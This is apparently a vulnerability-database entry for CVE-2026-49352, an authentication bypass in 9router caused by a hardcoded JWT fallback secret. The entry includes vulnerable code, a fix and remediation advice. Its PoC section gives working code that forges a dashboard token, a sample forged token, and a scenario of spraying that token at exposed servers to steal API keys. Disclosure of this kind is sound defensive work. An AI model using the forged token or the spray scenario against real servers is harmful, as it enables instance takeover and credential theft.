9router CVE-2026-49352
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Remote unauthenticated token forgery against the vulnerable default (JWT_SECRET unset) needs no privileges or interaction, and full dashboard/API control yields high C/I/A.
Primary rating from Vendor (https://github.com/decolua/9router).
CVSS VectorVendor: https://github.com/decolua/9router
Lifecycle Timeline
2DescriptionCVE.org
Summary
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
Details
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 - v0.4.30 - src/app/api/auth/login/route.js and src/middleware.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);v0.4.31 - v0.4.41 (current) - src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
PoC
Step 1. Craft a JWT signed with the known default secret:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6wStep 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
Attack Scenario:
- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database
Impact
- A successful attack grants attacker full API Key, Auth Token that 9router hold
- They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
- Pivot via the MCP stdio→SSE bridge exposed at
/api/mcp/(exploit CVE-2026-46339)
Recommended Fix
Require JWT_SECRET at startup and fail fast rather than falling back silently:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);Alternatively, auto-generate a random secret on first boot and persist it to the data directory - but never fall back to a publicly known constant.
Articles & Coverage 1
AnalysisAI
Authentication bypass in 9router (>= 0.2.21 through 0.4.41) lets any unauthenticated remote attacker forge a valid dashboard session cookie because the JWT signing key falls back to the publicly committed hardcoded string "9router-default-secret-change-me" whenever the JWT_SECRET environment variable is unset. Since this secret is identical across every release and visible in the public repository, an attacker can pre-compute a valid auth_token, bypass the /dashboard login, and reach every API endpoint to steal stored API keys and auth tokens or take over the instance. Publicly available exploit code exists (the advisory ships a working jose-based PoC); there is no CISA KEV listing and no confirmed active exploitation at time of analysis.
Technical ContextAI
9router is a Node.js/Next.js application (distributed as the npm package pkg:npm/9router) whose dashboard session layer uses the jose library to issue HS256-signed JWTs stored in an auth_token cookie, validated by middleware against a symmetric secret. The root cause is CWE-798 (Use of Hard-coded Credentials): the code path new TextEncoder().encode(process.env.JWT_SECRET || "9router-default-secret-change-me") silently substitutes a known public constant when the operator does not provide JWT_SECRET. Because HMAC-based JWT verification only proves the signer knew the secret, and that secret is published in the source tree, the signature check provides zero security. The fallback was introduced in commit 23cfb19 (2026-01-09) in src/app/api/auth/login/route.js and src/middleware.js, then merely relocated (not fixed) by the OIDC refactor commit c3d91b0 into the shared module src/lib/auth/dashboardSession.js.
RemediationAI
The immediate fix is to set a strong, unique JWT_SECRET environment variable on every 9router server (for example JWT_SECRET=$(openssl rand -hex 32)) so the hardcoded fallback is never used; this instantly invalidates any forged tokens and requires no code change. The upstream recommended fix requires JWT_SECRET at startup and fails fast rather than falling back silently (or auto-generates and persists a random secret on first boot); the fix is published as advisory GHSA-jphh-m39h-6gwx, but no specific fixed release version is identified in the provided data, so treat setting JWT_SECRET as the primary control and upgrade once the vendor confirms a patched version. After setting the secret, rotate everything 9router held - stored API keys, auth tokens, and the dashboard password - since a prior attacker with a forged token could have read or altered them. As a compensating control until a fix is confirmed, restrict network exposure of the dashboard and /api endpoints (bind to localhost or place behind a VPN/reverse proxy with IP allowlisting) and specifically lock down /api/settings/database and the /api/mcp/ bridge; the trade-off is reduced remote accessibility for legitimate operators.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same weakness CWE-798 – Use of Hard-coded Credentials
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-jphh-m39h-6gwx